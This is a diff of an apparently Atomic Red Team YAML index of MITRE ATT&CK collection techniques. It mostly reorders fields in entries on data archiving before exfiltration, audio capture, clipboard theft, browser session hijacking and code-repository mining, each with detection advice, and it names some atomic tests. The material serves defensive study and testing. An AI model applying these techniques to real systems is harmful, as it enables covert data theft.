-      id: attack-pattern--53ac20cd-aca3-406e-9aa0-9fc7fdc60a5a
-      description: |-
-        An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
-
-        Both compression and encryption are done prior to exfiltration, and can be performed using a utility, 3rd party library, or custom method.
-      name: Archive Collected Data
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1560
-        url: https://attack.mitre.org/techniques/T1560
-      - url: https://en.wikipedia.org/wiki/List_of_file_signatures
-        description: Wikipedia. (2016, March 31). List of file signatures. Retrieved
-          April 22, 2016.
-        source_name: Wikipedia File Header Signatures
       type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: collection
+      name: Archive Collected Data
+      x_mitre_data_sources:
+      - 'Process: Process Creation'
+      - 'Command: Command Execution'
+      - 'File: File Creation'
+      - 'Script: Script Execution'
+      x_mitre_version: '1.0'
       modified: '2020-10-21T16:36:55.831Z'
       created: '2020-02-20T20:53:45.725Z'
       x_mitre_platforms:
       - Linux
       - macOS
       - Windows
-      x_mitre_data_sources:
-      - 'Process: Process Creation'
-      - 'Command: Command Execution'
-      - 'File: File Creation'
-      - 'Script: Script Execution'
+      x_mitre_is_subtechnique: false
+      id: attack-pattern--53ac20cd-aca3-406e-9aa0-9fc7fdc60a5a
+      description: |-
+        An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
+
+        Both compression and encryption are done prior to exfiltration, and can be performed using a utility, 3rd party library, or custom method.
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: collection
       x_mitre_detection: |-
         Archival software and archived files can be detected in many ways. Common utilities that may be present on the system or brought in by an adversary may be detectable through process monitoring and monitoring for command-line arguments for known archival utilities. This may yield a significant number of benign events, depending on how systems in the environment are typically used.
 
         A process that loads the Windows DLL crypt32.dll may be used to perform encryption, decryption, or verification of file signatures.
 
         Consider detecting writing of files with extensions and/or headers associated with compressed or encrypted file types. Detection efforts may focus on follow-on exfiltration activity, where compressed or encrypted files can be detected in transit with a network intrusion detection or data loss prevention system analyzing file headers.(Citation: Wikipedia File Header Signatures)
-      x_mitre_is_subtechnique: false
-      x_mitre_version: '1.0'
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1560
+        external_id: T1560
+        source_name: mitre-attack
+      - source_name: Wikipedia File Header Signatures
+        description: Wikipedia. (2016, March 31). List of file signatures. Retrieved
+          April 22, 2016.
+        url: https://en.wikipedia.org/wiki/List_of_file_signatures
       identifier: T1560
     atomic_tests:
     - name: Compress Data for Exfiltration With PowerShell
@@ -7470,12 +7590,21 @@ collection:
         cleanup_command: 'Remove-Item -path #{output_file} -ErrorAction Ignore'
   T1560.003:
     technique:
-      created: '2020-02-20T21:09:55.995Z'
-      modified: '2020-03-25T22:48:14.605Z'
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: collection
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
       type: attack-pattern
+      name: Archive via Custom Method
+      x_mitre_data_sources:
+      - 'File: File Creation'
+      - 'Script: Script Execution'
+      x_mitre_version: '1.0'
+      modified: '2020-03-25T22:48:14.605Z'
+      created: '2020-02-20T21:09:55.995Z'
+      x_mitre_platforms:
+      - Linux
+      - macOS
+      - Windows
+      x_mitre_is_subtechnique: true
       id: attack-pattern--143c0cbb-a297-4142-9624-87ffc778980b
       description: 'An adversary may compress or encrypt data that is collected prior
         to exfiltration using a custom method. Adversaries may choose to use custom
@@ -7483,79 +7612,70 @@ collection:
         with no external library or utility references. Custom implementations of
         well-known compression algorithms have also been used.(Citation: ESET Sednit
         Part 2)'
-      name: Archive via Custom Method
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: collection
+      x_mitre_detection: Custom archival methods can be very difficult to detect,
+        since many of them use standard programming language concepts, such as bitwise
+        operations.
       created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      object_marking_refs:
-      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
       external_references:
-      - source_name: mitre-attack
+      - url: https://attack.mitre.org/techniques/T1560/003
         external_id: T1560.003
-        url: https://attack.mitre.org/techniques/T1560/003
-      - url: http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part-2.pdf
+        source_name: mitre-attack
+      - source_name: ESET Sednit Part 2
         description: 'ESET. (2016, October). En Route with Sednit - Part 2: Observing
           the Comings and Goings. Retrieved November 21, 2016.'
-        source_name: ESET Sednit Part 2
+        url: http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part-2.pdf
+    atomic_tests: []
+  T1560.002:
+    technique:
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
+      type: attack-pattern
+      name: Archive via Library
+      x_mitre_data_sources:
+      - 'File: File Creation'
+      - 'Script: Script Execution'
+      x_mitre_version: '1.0'
+      modified: '2020-03-29T18:27:30.891Z'
+      created: '2020-02-20T21:08:52.529Z'
       x_mitre_platforms:
       - Linux
       - macOS
       - Windows
-      x_mitre_detection: Custom archival methods can be very difficult to detect,
-        since many of them use standard programming language concepts, such as bitwise
-        operations.
       x_mitre_is_subtechnique: true
-      x_mitre_version: '1.0'
-      x_mitre_data_sources:
-      - 'File: File Creation'
-      - 'Script: Script Execution'
-    atomic_tests: []
-  T1560.002:
-    technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1560.002
-        url: https://attack.mitre.org/techniques/T1560/002
-      - source_name: PyPI RAR
-        url: https://pypi.org/project/rarfile/
-        description: mkz. (2020). rarfile 3.1. Retrieved February 20, 2020.
-      - source_name: libzip
-        url: https://libzip.org/
-        description: D. Baron, T. Klausner. (2020). libzip. Retrieved February 20,
-          2020.
-      - source_name: Zlib Github
-        url: https://github.com/madler/zlib
-        description: madler. (2017). zlib. Retrieved February 20, 2020.
-      - url: https://en.wikipedia.org/wiki/List_of_file_signatures
-        description: Wikipedia. (2016, March 31). List of file signatures. Retrieved
-          April 22, 2016.
-        source_name: Wikipedia File Header Signatures
-      object_marking_refs:
-      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      name: Archive via Library
+      id: attack-pattern--41868330-6ee2-4d0f-b743-9f2294c3c9b6
       description: |-
         An adversary may compress or encrypt data that is collected prior to exfiltration using 3rd party libraries. Many libraries exist that can archive data, including [Python](https://attack.mitre.org/techniques/T1059/006) rarfile (Citation: PyPI RAR), libzip (Citation: libzip), and zlib (Citation: Zlib Github). Most libraries include functionality to encrypt and/or compress data.
 
         Some archival libraries are preinstalled on systems, such as bzip2 on macOS and Linux, and zip on Windows. Note that the libraries are different from the utilities. The libraries can be linked against when compiling, while the utilities require spawning a subshell, or a similar execution mechanism.
-      id: attack-pattern--41868330-6ee2-4d0f-b743-9f2294c3c9b6
-      type: attack-pattern
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: collection
-      modified: '2020-03-29T18:27:30.891Z'
-      created: '2020-02-20T21:08:52.529Z'
-      x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: true
       x_mitre_detection: |-
         Monitor processes for accesses to known archival libraries. This may yield a significant number of benign events, depending on how systems in the environment are typically used.
 
         Consider detecting writing of files with extensions and/or headers associated with compressed or encrypted file types. Detection efforts may focus on follow-on exfiltration activity, where compressed or encrypted files can be detected in transit with a network intrusion detection or data loss prevention system analyzing file headers.(Citation: Wikipedia File Header Signatures)
-      x_mitre_data_sources:
-      - 'File: File Creation'
-      - 'Script: Script Execution'
-      x_mitre_platforms:
-      - Linux
-      - macOS
-      - Windows
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1560/002
+        external_id: T1560.002
+        source_name: mitre-attack
+      - url: https://pypi.org/project/rarfile/
+        description: mkz. (2020). rarfile 3.1. Retrieved February 20, 2020.
+        source_name: PyPI RAR
+      - url: https://libzip.org/
+        description: D. Baron, T. Klausner. (2020). libzip. Retrieved February 20,
+          2020.
+        source_name: libzip
+      - url: https://github.com/madler/zlib
+        description: madler. (2017). zlib. Retrieved February 20, 2020.
+        source_name: Zlib Github
+      - source_name: Wikipedia File Header Signatures
+        description: Wikipedia. (2016, March 31). List of file signatures. Retrieved
+          April 22, 2016.
+        url: https://en.wikipedia.org/wiki/List_of_file_signatures
       identifier: T1560.002
     atomic_tests:
     - name: Compressing data using GZip in Python (Linux)
@@ -7697,52 +7817,52 @@ collection:
 '
   T1560.001:
     technique:
-      created: '2020-02-20T21:01:25.428Z'
-      modified: '2020-03-25T21:54:37.374Z'
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: collection
       type: attack-pattern
+      modified: '2020-03-25T21:54:37.374Z'
+      name: Archive via Utility
+      x_mitre_data_sources:
+      - 'Process: Process Creation'
+      - 'Command: Command Execution'
+      - 'File: File Creation'
+      x_mitre_version: '1.0'
+      created: '2020-02-20T21:01:25.428Z'
+      x_mitre_platforms:
+      - Linux
+      - macOS
+      - Windows
+      x_mitre_is_subtechnique: true
       id: attack-pattern--00f90846-cbd1-4fc5-9233-df5c2bf2a662
       description: |-
         An adversary may compress or encrypt data that is collected prior to exfiltration using 3rd party utilities. Many utilities exist that can archive data, including 7-Zip(Citation: 7zip Homepage), WinRAR(Citation: WinRAR Homepage), and WinZip(Citation: WinZip Homepage). Most utilities include functionality to encrypt and/or compress data.
 
         Some 3rd party utilities may be preinstalled, such as `tar` on Linux and macOS or `zip` on Windows systems.
-      name: Archive via Utility
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1560.001
-        url: https://attack.mitre.org/techniques/T1560/001
-      - source_name: 7zip Homepage
-        url: https://www.7-zip.org/
-        description: I. Pavlov. (2019). 7-Zip. Retrieved February 20, 2020.
-      - source_name: WinRAR Homepage
-        url: https://www.rarlab.com/
-        description: A. Roshal. (2020). RARLAB. Retrieved February 20, 2020.
-      - source_name: WinZip Homepage
-        url: https://www.winzip.com/win/en/
-        description: Corel Corporation. (2020). WinZip. Retrieved February 20, 2020.
-      - url: https://en.wikipedia.org/wiki/List_of_file_signatures
-        description: Wikipedia. (2016, March 31). List of file signatures. Retrieved
-          April 22, 2016.
-        source_name: Wikipedia File Header Signatures
-      x_mitre_platforms:
-      - Linux
-      - macOS
-      - Windows
-      x_mitre_data_sources:
-      - 'Process: Process Creation'
-      - 'Command: Command Execution'
-      - 'File: File Creation'
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: collection
       x_mitre_detection: |-
         Common utilities that may be present on the system or brought in by an adversary may be detectable through process monitoring and monitoring for command-line arguments for known archival utilities. This may yield a significant number of benign events, depending on how systems in the environment are typically used.
 
         Consider detecting writing of files with extensions and/or headers associated with compressed or encrypted file types. Detection efforts may focus on follow-on exfiltration activity, where compressed or encrypted files can be detected in transit with a network intrusion detection or data loss prevention system analyzing file headers.(Citation: Wikipedia File Header Signatures)
-      x_mitre_is_subtechnique: true
-      x_mitre_version: '1.0'
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1560/001
+        external_id: T1560.001
+        source_name: mitre-attack
+      - url: https://www.7-zip.org/
+        description: I. Pavlov. (2019). 7-Zip. Retrieved February 20, 2020.
+        source_name: 7zip Homepage
+      - url: https://www.rarlab.com/
+        description: A. Roshal. (2020). RARLAB. Retrieved February 20, 2020.
+        source_name: WinRAR Homepage
+      - url: https://www.winzip.com/win/en/
+        description: Corel Corporation. (2020). WinZip. Retrieved February 20, 2020.
+        source_name: WinZip Homepage
+      - source_name: Wikipedia File Header Signatures
+        description: Wikipedia. (2016, March 31). List of file signatures. Retrieved
+          April 22, 2016.
+        url: https://en.wikipedia.org/wiki/List_of_file_signatures
       identifier: T1560.001
     atomic_tests:
     - name: Compress Data for Exfiltration With Rar
@@ -8060,43 +8180,43 @@ collection:
 '
   T1123:
     technique:
-      id: attack-pattern--1035cdf2-3e5f-446f-a7a7-e8f6d7925967
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      name: Audio Capture
-      description: |-
-        An adversary can leverage a computer's peripheral devices (e.g., microphones and webcams) or applications (e.g., voice and video call services) to capture audio recordings for the purpose of listening into sensitive conversations to gather information.
-
-        Malware or scripts may be used to interact with the devices through an available API provided by the operating system or an application to capture audio. Audio files may be written to disk and exfiltrated later.
-      external_references:
-      - source_name: mitre-attack
-        url: https://attack.mitre.org/techniques/T1123
-        external_id: T1123
-      - external_id: CAPEC-634
-        source_name: capec
-        url: https://capec.mitre.org/data/definitions/634.html
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
       type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: collection
-      modified: '2020-07-14T19:42:10.235Z'
-      created: '2017-05-31T21:31:34.528Z'
-      x_mitre_is_subtechnique: false
-      x_mitre_platforms:
-      - Linux
-      - macOS
-      - Windows
-      x_mitre_permissions_required:
-      - User
-      x_mitre_detection: |-
-        Detection of this technique may be difficult due to the various APIs that may be used. Telemetry data regarding API use may not be useful depending on how a system is normally used, but may provide context to other potentially malicious activity occurring on a system.
-
-        Behavior that could indicate technique use include an unknown or unusual process accessing APIs associated with devices or software that interact with the microphone, recording devices, or recording software, and a process periodically writing files to disk that contain audio data.
+      name: Audio Capture
       x_mitre_data_sources:
       - 'Process: OS API Execution'
       - 'Command: Command Execution'
       x_mitre_version: '1.0'
+      modified: '2020-07-14T19:42:10.235Z'
+      created: '2017-05-31T21:31:34.528Z'
+      x_mitre_permissions_required:
+      - User
+      x_mitre_platforms:
+      - Linux
+      - macOS
+      - Windows
+      x_mitre_is_subtechnique: false
+      id: attack-pattern--1035cdf2-3e5f-446f-a7a7-e8f6d7925967
+      description: |-
+        An adversary can leverage a computer's peripheral devices (e.g., microphones and webcams) or applications (e.g., voice and video call services) to capture audio recordings for the purpose of listening into sensitive conversations to gather information.
+
+        Malware or scripts may be used to interact with the devices through an available API provided by the operating system or an application to capture audio. Audio files may be written to disk and exfiltrated later.
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: collection
+      x_mitre_detection: |-
+        Detection of this technique may be difficult due to the various APIs that may be used. Telemetry data regarding API use may not be useful depending on how a system is normally used, but may provide context to other potentially malicious activity occurring on a system.
+
+        Behavior that could indicate technique use include an unknown or unusual process accessing APIs associated with devices or software that interact with the microphone, recording devices, or recording software, and a process periodically writing files to disk that contain audio data.
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1123
+        external_id: T1123
+        source_name: mitre-attack
+      - url: https://capec.mitre.org/data/definitions/634.html
+        external_id: CAPEC-634
+        source_name: capec
       identifier: T1123
     atomic_tests:
     - name: using device audio capture commandlet
@@ -8125,15 +8245,30 @@ collection:
         name: command_prompt
   T1119:
     technique:
-      created: '2017-05-31T21:31:27.985Z'
-      modified: '2020-03-31T22:18:43.019Z'
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: collection
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
       type: attack-pattern
-      id: attack-pattern--30208d3e-0d6b-43c8-883e-44462a514619
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
       name: Automated Collection
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1119
+        external_id: T1119
+        source_name: mitre-attack
+      x_mitre_data_sources:
+      - 'File: File Access'
+      - 'Command: Command Execution'
+      - 'Script: Script Execution'
+      x_mitre_version: '1.0'
+      modified: '2020-03-31T22:18:43.019Z'
+      x_mitre_system_requirements:
+      - Permissions to access directories and files that store information of interest.
+      id: attack-pattern--30208d3e-0d6b-43c8-883e-44462a514619
+      x_mitre_platforms:
+      - Linux
+      - macOS
+      - Windows
+      x_mitre_is_subtechnique: false
+      x_mitre_permissions_required:
+      - User
       description: "Once established within a system or network, an adversary may
         use automated techniques for collecting internal data. Methods for performing
         this technique could include use of a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059)
@@ -8143,20 +8278,9 @@ collection:
         of other techniques such as [File and Directory Discovery](https://attack.mitre.org/techniques/T1083)
         and [Lateral Tool Transfer](https://attack.mitre.org/techniques/T1570) to
         identify and move files."
-      external_references:
-      - source_name: mitre-attack
-        url: https://attack.mitre.org/techniques/T1119
-        external_id: T1119
-      object_marking_refs:
-      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      x_mitre_system_requirements:
-      - Permissions to access directories and files that store information of interest.
-      x_mitre_platforms:
-      - Linux
-      - macOS
-      - Windows
-      x_mitre_permissions_required:
-      - User
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: collection
       x_mitre_detection: Depending on the method used, actions could include common
         file system commands and parameters on the command-line interface within batch
         files or scripts. A sequence of actions like this may be unusual, depending
@@ -8169,12 +8293,8 @@ collection:
         API to gather data. Data may also be acquired through Windows system management
         tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047)
         and [PowerShell](https://attack.mitre.org/techniques/T1059/001).
-      x_mitre_data_sources:
-      - 'File: File Access'
-      - 'Command: Command Execution'
-      - 'Script: Script Execution'
-      x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: false
+      created: '2017-05-31T21:31:27.985Z'
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
       identifier: T1119
     atomic_tests:
     - name: Automated Collection Command Prompt
@@ -8245,51 +8365,111 @@ collection:
           del %TEMP%\T1119_3.txt >nul 2>&1
           del %TEMP%\T1119_4.txt >nul 2>&1
         name: command_prompt
-  T1115:
+  T1185:
     technique:
-      created: '2017-05-31T21:31:25.967Z'
-      modified: '2020-04-23T18:35:58.230Z'
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
+      type: attack-pattern
+      name: Browser Session Hijacking
+      x_mitre_data_sources:
+      - 'Process: Process Modification'
+      - 'Process: Process Access'
+      - 'Logon Session: Logon Session Creation'
+      x_mitre_version: '2.0'
+      modified: '2021-10-18T12:11:16.808Z'
+      created: '2018-01-16T16:13:52.465Z'
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: collection
-      type: attack-pattern
-      object_marking_refs:
-      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1115
-        url: https://attack.mitre.org/techniques/T1115
-      - external_id: CAPEC-637
-        source_name: capec
-        url: https://capec.mitre.org/data/definitions/637.html
-      - url: https://msdn.microsoft.com/en-us/library/ms649012
-        description: Microsoft. (n.d.). About the Clipboard. Retrieved March 29, 2016.
-        source_name: MSDN Clipboard
-      - url: https://medium.com/rvrsh3ll/operating-with-empyre-ea764eda3363
-        description: rvrsh3ll. (2016, May 18). Operating with EmPyre. Retrieved July
-          12, 2017.
-        source_name: Operating with EmPyre
-      description: "Adversaries may collect data stored in the clipboard from users
-        copying information within or between applications. \n\nIn Windows, Applications
-        can access clipboard data by using the Windows API.(Citation: MSDN Clipboard)
-        OSX provides a native command, <code>pbpaste</code>, to grab clipboard contents.(Citation:
-        Operating with EmPyre)"
-      name: Clipboard Data
+      id: attack-pattern--544b0346-29ad-41e1-a808-501bb4193f47
+      x_mitre_platforms:
+      - Windows
+      x_mitre_is_subtechnique: false
+      x_mitre_permissions_required:
+      - Administrator
+      - SYSTEM
+      description: |-
+        Adversaries may take advantage of security vulnerabilities and inherent functionality in browser software to change content, modify user-behaviors, and intercept information as part of various browser session hijacking techniques.(Citation: Wikipedia Man in the Browser)
+
+        A specific example is when an adversary injects software into a browser that allows them to inherit cookies, HTTP sessions, and SSL client certificates of a user then use the browser as a way to pivot into an authenticated intranet.(Citation: Cobalt Strike Browser Pivot)(Citation: ICEBRG Chrome Extensions) Executing browser-based behaviors such as pivoting may require specific process permissions, such as <code>SeDebugPrivilege</code> and/or high-integrity/administrator rights.
+
+        Another example involves pivoting browser traffic from the adversary's browser through the user's browser by setting up a proxy which will redirect web traffic. This does not alter the user's traffic in any way, and the proxy connection can be severed as soon as the browser is closed. The adversary assumes the security context of whichever browser process the proxy is injected into. Browsers typically create a new process for each tab that is opened and permissions and certificates are separated accordingly. With these permissions, an adversary could potentially browse to any resource on an intranet, such as [Sharepoint](https://attack.mitre.org/techniques/T1213/002) or webmail, that is accessible through the browser and which the browser has sufficient permissions. Browser pivoting may also bypass security provided by 2-factor authentication.(Citation: cobaltstrike manual)
+      x_mitre_contributors:
+      - Justin Warner, ICEBRG
+      x_mitre_detection: This may be a difficult technique to detect because adversary
+        traffic may be masked by normal user traffic. New processes may not be created
+        and no additional software dropped to disk. Authentication logs can be used
+        to audit logins to specific web applications, but determining malicious logins
+        versus benign logins may be difficult if activity matches typical user behavior.
+        Monitor for [Process Injection](https://attack.mitre.org/techniques/T1055)
+        against browser applications.
       created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      id: attack-pattern--30973a08-aed9-4edf-8604-9084ce1b5c4f
-      x_mitre_version: '1.1'
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1185
+        external_id: T1185
+        source_name: mitre-attack
+      - source_name: Wikipedia Man in the Browser
+        description: Wikipedia. (2017, October 28). Man-in-the-browser. Retrieved
+          January 10, 2018.
+        url: https://en.wikipedia.org/wiki/Man-in-the-browser
+      - source_name: Cobalt Strike Browser Pivot
+        description: Mudge, R. (n.d.). Browser Pivoting. Retrieved January 10, 2018.
+        url: https://www.cobaltstrike.com/help-browser-pivoting
+      - source_name: ICEBRG Chrome Extensions
+        description: De Tore, M., Warner, J. (2018, January 15). MALICIOUS CHROME
+          EXTENSIONS ENABLE CRIMINALS TO IMPACT OVER HALF A MILLION USERS AND GLOBAL
+          BUSINESSES. Retrieved January 17, 2018.
+        url: https://www.icebrg.io/blog/malicious-chrome-extensions-enable-criminals-to-impact-over-half-a-million-users-and-global-businesses
+      - source_name: cobaltstrike manual
+        description: Strategic Cyber LLC. (2017, March 14). Cobalt Strike Manual.
+          Retrieved May 24, 2017.
+        url: https://cobaltstrike.com/downloads/csmanual38.pdf
+    atomic_tests: []
+  T1115:
+    technique:
+      type: attack-pattern
+      modified: '2020-04-23T18:35:58.230Z'
+      name: Clipboard Data
       x_mitre_data_sources:
       - 'Process: OS API Execution'
       - 'Command: Command Execution'
-      x_mitre_detection: Access to the clipboard is a legitimate function of many
-        applications on an operating system. If an organization chooses to monitor
-        for this behavior, then the data will likely need to be correlated against
-        other suspicious or non-user-driven activity.
+      x_mitre_version: '1.1'
+      created: '2017-05-31T21:31:25.967Z'
       x_mitre_platforms:
       - Linux
       - Windows
       - macOS
       x_mitre_is_subtechnique: false
+      id: attack-pattern--30973a08-aed9-4edf-8604-9084ce1b5c4f
+      description: "Adversaries may collect data stored in the clipboard from users
+        copying information within or between applications. \n\nIn Windows, Applications
+        can access clipboard data by using the Windows API.(Citation: MSDN Clipboard)
+        OSX provides a native command, <code>pbpaste</code>, to grab clipboard contents.(Citation:
+        Operating with EmPyre)"
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: collection
+      x_mitre_detection: Access to the clipboard is a legitimate function of many
+        applications on an operating system. If an organization chooses to monitor
+        for this behavior, then the data will likely need to be correlated against
+        other suspicious or non-user-driven activity.
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1115
+        external_id: T1115
+        source_name: mitre-attack
+      - url: https://capec.mitre.org/data/definitions/637.html
+        external_id: CAPEC-637
+        source_name: capec
+      - source_name: MSDN Clipboard
+        description: Microsoft. (n.d.). About the Clipboard. Retrieved March 29, 2016.
+        url: https://msdn.microsoft.com/en-us/library/ms649012
+      - source_name: Operating with EmPyre
+        description: rvrsh3ll. (2016, May 18). Operating with EmPyre. Retrieved July
+          12, 2017.
+        url: https://medium.com/rvrsh3ll/operating-with-empyre-ea764eda3363
       identifier: T1115
     atomic_tests:
     - name: Utilize Clipboard to store or execute commands from
@@ -8371,20 +8551,73 @@ collection:
 
 '
         name: powershell
-  T1213.001:
+  T1213.003:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1213.001
-        url: https://attack.mitre.org/techniques/T1213/001
-      - url: https://confluence.atlassian.com/confkb/how-to-enable-user-access-logging-182943.html
-        description: Atlassian. (2018, January 9). How to Enable User Access Logging.
-          Retrieved April 4, 2018.
-        source_name: Atlassian Confluence Logging
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
+      type: attack-pattern
+      name: Code Repositories
+      x_mitre_data_sources:
+      - 'Logon Session: Logon Session Creation'
+      - 'Application Log: Application Log Content'
+      x_mitre_version: '1.0'
+      modified: '2021-10-16T01:35:43.483Z'
+      created: '2021-05-11T18:51:16.343Z'
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: collection
+      id: attack-pattern--cff94884-3b1c-4987-a70b-6d5643c621c3
+      x_mitre_platforms:
+      - SaaS
+      x_mitre_is_subtechnique: true
+      x_mitre_permissions_required:
+      - User
+      description: |-
+        Adversaries may leverage code repositories to collect valuable information. Code repositories are tools/services that store source code and automate software builds. They may be hosted internally or privately on third party sites such as Github, GitLab, SourceForge, and BitBucket. Users typically interact with code repositories through a web application or command-line utilities such as git.
+
+
+        Once adversaries gain access to a victim network or a private code repository, they may collect sensitive information such as proprietary source code or credentials contained within software's source code.  Having access to software's source code may allow adversaries to develop [Exploits](https://attack.mitre.org/techniques/T1587/004), while credentials may provide access to additional resources using [Valid Accounts](https://attack.mitre.org/techniques/T1078).(Citation: Wired Uber Breach)(Citation: Krebs Adobe)
+      x_mitre_contributors:
+      - Itamar Mizrahi, Cymptom
+      - Toby Kohlenberg
+      - Josh Liburdi, @jshlbrd
+      x_mitre_detection: Monitor access to code repositories, especially performed
+        by privileged users such as Active Directory Domain or Enterprise Administrators
+        as these types of accounts should generally not be used to access code repositories.
+        In environments with high-maturity, it may be possible to leverage User-Behavioral
+        Analytics (UBA) platforms to detect and alert on user-based anomalies.
       created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1213/003
+        external_id: T1213.003
+        source_name: mitre-attack
+      - url: https://www.wired.com/story/uber-paid-off-hackers-to-hide-a-57-million-user-data-breach/
+        description: 'Andy Greenberg. (2017, January 21). Hack Brief: Uber Paid Off
+          Hackers to Hide a 57-Million User Data Breach. Retrieved May 14, 2021.'
+        source_name: Wired Uber Breach
+      - url: https://krebsonsecurity.com/2013/10/adobe-to-announce-source-code-customer-data-breach/
+        description: Brian Krebs. (2013, October 3). Adobe To Announce Source Code,
+          Customer Data Breach. Retrieved May 17, 2021.
+        source_name: Krebs Adobe
+    atomic_tests: []
+  T1213.001:
+    technique:
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
+      type: attack-pattern
       name: Confluence
+      x_mitre_data_sources:
+      - 'Logon Session: Logon Session Creation'
+      - 'Application Log: Application Log Content'
+      x_mitre_version: '1.0'
+      modified: '2021-06-08T17:08:08.386Z'
+      created: '2020-02-14T13:09:51.004Z'
+      x_mitre_permissions_required:
+      - User
+      x_mitre_platforms:
+      - SaaS
+      x_mitre_is_subtechnique: true
+      id: attack-pattern--7ad38ef1-381a-406d-872a-38b136eb5ecc
       description: |2
 
         Adversaries may leverage Confluence repositories to mine valuable information. Often found in development environments alongside Atlassian JIRA, Confluence is generally used to store development-related documentation, however, in general may contain more diverse categories of useful information, such as:
@@ -8397,122 +8630,118 @@ collection:
         * Work / project schedules
         * Source code snippets
         * Links to network shares and other internal resources
-      id: attack-pattern--7ad38ef1-381a-406d-872a-38b136eb5ecc
-      type: attack-pattern
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: collection
-      modified: '2020-03-24T16:42:09.222Z'
-      created: '2020-02-14T13:09:51.004Z'
-      x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: true
-      x_mitre_permissions_required:
-      - User
       x_mitre_detection: |-
-        Monitor access to Confluence repositories performed by privileged users (for example, Active Directory Domain, Enterprise, or Schema Administrators) as these types of accounts should not generally used to access information repositories. If the capability exists, it may be of value to monitor and alert on users that are retrieving and viewing a large number of documents and pages; this behavior may be indicative of programmatic means being used to retrieve all data within the repository. In environments with high-maturity, it may be possible to leverage User-Behavioral Analytics (UBA) platforms to detect and alert on user based anomalies.
